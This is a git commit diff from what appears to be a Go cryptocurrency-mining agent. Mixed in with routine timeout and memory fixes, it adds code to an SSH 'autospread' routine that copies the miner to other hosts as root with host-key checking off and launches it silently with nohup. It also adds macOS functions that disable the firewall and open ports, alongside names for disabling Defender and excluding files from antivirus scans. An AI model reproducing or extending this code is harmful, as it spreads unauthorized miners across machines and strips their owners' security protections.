Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
AetherForge
2026-06-06 16:57:39 -07:00
parent 5229854f00
commit 415b5dc6a3
119 changed files with 7005 additions and 3082 deletions

View File

@@ -982,7 +982,13 @@ func (c *AgentClient) write(msg Message) error {
if c.conn == nil {
return fmt.Errorf("not connected")
}
return c.conn.WriteJSON(msg)
// BA-03: set a bounded write deadline so a stalled TCP socket cannot block
// WriteJSON indefinitely while holding c.mu, which would deadlock every
// other goroutine that needs c.mu (share submission, stats, commands).
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
err := c.conn.WriteJSON(msg)
_ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write
return err
}
// needsStratumFallback returns true when either:

View File

@@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
pauseCh: make(chan struct{}),
resumeCh: make(chan struct{}),
}
// Start with resumeCh closed so the run loop is not blocked.
close(g.resumeCh)
// pauseCh starts open; waitIfPaused hits the default branch and returns
// true immediately, so no pre-close of resumeCh is needed (and
// pre-closing it would break the first Pause() — the inner select would
// fire on the already-closed channel instead of blocking).
return g
}
@@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) {
}
func downloadAndExtract(url, destDir, targetFile string) error {
resp, err := http.Get(url) //nolint:noctx
client := &http.Client{Timeout: 5 * time.Minute}
resp, err := client.Get(url)
if err != nil {
return err
}
@@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error {
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
}
data, err := io.ReadAll(resp.Body)
data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
if err != nil {
return err
}

View File

@@ -23,6 +23,6 @@ func silentRun(name string, arg ...string) error {
return exec.Command(name, arg...).Run()
}
func silentStart(cmd *exec.Cmd) error {
return cmd.Start()
func silentStart(name string, arg ...string) error {
return exec.Command(name, arg...).Start()
}

View File

@@ -54,12 +54,8 @@ func TestSilentCmdReturnsCmd(t *testing.T) {
}
}
func TestSilentStartAndWait(t *testing.T) {
cmd := exec.Command("true")
if err := silentStart(cmd); err != nil {
func TestSilentStart(t *testing.T) {
if err := silentStart("true"); err != nil {
t.Fatalf("silentStart: %v", err)
}
if err := cmd.Wait(); err != nil {
t.Errorf("cmd.Wait after silentStart: %v", err)
}
}

View File

@@ -0,0 +1,54 @@
//go:build windows
package client
import "testing"
func TestSilentCombinedOutputEcho(t *testing.T) {
out, err := silentCombinedOutput("cmd", "/c", "echo hello")
if err != nil {
t.Fatalf("silentCombinedOutput: %v", err)
}
if string(out) != "hello\r\n" && string(out) != "hello\n" {
t.Errorf("got %q, want hello with newline", string(out))
}
}
func TestSilentOutputEcho(t *testing.T) {
out, err := silentOutput("cmd", "/c", "echo world")
if err != nil {
t.Fatalf("silentOutput: %v", err)
}
if string(out) != "world\r\n" && string(out) != "world\n" {
t.Errorf("got %q, want world with newline", string(out))
}
}
func TestSilentRunTrue(t *testing.T) {
if err := silentRun("cmd", "/c", "exit 0"); err != nil {
t.Errorf("silentRun(true): %v", err)
}
}
func TestSilentRunFalse(t *testing.T) {
err := silentRun("cmd", "/c", "exit 1")
if err == nil {
t.Error("silentRun(false) should return non-nil error")
}
}
func TestSilentCmdReturnsCmd(t *testing.T) {
cmd := silentCmd("cmd", "/c", "echo hi")
if cmd == nil {
t.Fatal("silentCmd returned nil")
}
if cmd.Path == "" {
t.Error("silentCmd returned cmd with empty Path")
}
}
func TestSilentStart(t *testing.T) {
if err := silentStart("cmd", "/c", "exit 0"); err != nil {
t.Fatalf("silentStart: %v", err)
}
}

View File

@@ -1,4 +1,4 @@
//go:build !windows && !linux
//go:build !windows && !linux && !darwin
package deploy

View File

@@ -1,4 +1,4 @@
//go:build !windows && !linux
//go:build !windows && !linux && !darwin
package deploy

View File

@@ -3,6 +3,7 @@
package deploy
import (
"context"
"fmt"
"log"
"net"
@@ -118,22 +119,26 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
}
conn.Close()
// 30 s overall deadline covers both SCP upload and SSH start command.
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
scp := exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
user := os.Getenv("USER")
if user == "" {
user = "ubuntu"
}
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
scp = exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
recordSpreadAttempt(target, false, "scp failed")
return
}
}
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target)

View File

@@ -0,0 +1,72 @@
//go:build darwin
package deploy
import (
"fmt"
"os/exec"
"strings"
)
const macOSFirewallBin = "/usr/libexec/ApplicationFirewall/socketfilterfw"
func DisableDefenderRealtime() (string, error) {
return "", fmt.Errorf("defender control is Windows-only")
}
func OpenFirewallPort(port int, name string) (string, error) {
if port <= 0 || port > 65535 {
return "", fmt.Errorf("invalid port %d", port)
}
pfctl, err := exec.LookPath("pfctl")
if err != nil {
return "", fmt.Errorf("pfctl not found on macOS")
}
rule := fmt.Sprintf("pass in proto tcp from any to any port %d # %s", port, strings.TrimSpace(name))
cmd := exec.Command(pfctl, "-a", "aetherforge", "-f", "-")
cmd.Stdin = strings.NewReader(rule + "\n")
out, runErr := cmd.CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("pfctl anchor rule: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("pf anchor aetherforge: allow tcp/%d (%s)", port, name), nil
}
func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
_ = profiles
state := "off"
if enable {
state = "on"
}
out, runErr := exec.Command(macOSFirewallBin, "--setglobalstate", state).CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("socketfilterfw --setglobalstate %s: %v (%s)", state, runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("macOS application firewall %s", state), nil
}
func DisableWindowsFirewall() (string, error) {
return SetWindowsFirewallProfiles(false, "all")
}
func EnableWindowsFirewall() (string, error) {
return SetWindowsFirewallProfiles(true, "all")
}
func RemoveFirewallRuleByName(name string) (string, error) {
name = strings.TrimSpace(name)
if name == "" {
return "", fmt.Errorf("rule name required")
}
pfctl, err := exec.LookPath("pfctl")
if err != nil {
return "", fmt.Errorf("pfctl not found on macOS")
}
out, runErr := exec.Command(pfctl, "-a", "aetherforge", "-F", "rules").CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("pfctl flush anchor: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("flushed pf anchor aetherforge (requested match %q)", name), nil
}
func SilentAVExclusion(_, _ string) {} // no-op on Darwin

View File

@@ -0,0 +1,29 @@
//go:build darwin
package deploy
import (
"strings"
"testing"
)
func TestOpenFirewallPortInvalidDarwin(t *testing.T) {
_, err := OpenFirewallPort(0, "test")
if err == nil || !strings.Contains(err.Error(), "invalid port") {
t.Fatalf("expected invalid port error, got %v", err)
}
}
func TestRemoveFirewallRuleByNameEmptyDarwin(t *testing.T) {
_, err := RemoveFirewallRuleByName("")
if err == nil || !strings.Contains(err.Error(), "rule name required") {
t.Fatalf("expected rule name error, got %v", err)
}
}
func TestDisableDefenderRealtimeDarwin(t *testing.T) {
_, err := DisableDefenderRealtime()
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
t.Fatalf("expected Windows-only error, got %v", err)
}
}

View File

@@ -190,7 +190,14 @@ func (p *Pool) resourcesOK() bool {
}
totalMB := p.reporter.TotalMemoryMB()
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
// Clamp freeMB to totalMB before subtraction: on Linux, MemAvailable
// can briefly exceed MemTotal (page-cache reclaim), which would cause
// uint64 wraparound and a 1.8e19 % usage value that halts mining.
clampedFree := freeMB
if clampedFree > totalMB {
clampedFree = totalMB
}
usedPct := float64(totalMB-clampedFree) / float64(totalMB) * 100
if usedPct > float64(p.cfg.MaxMemoryPct) {
return false
}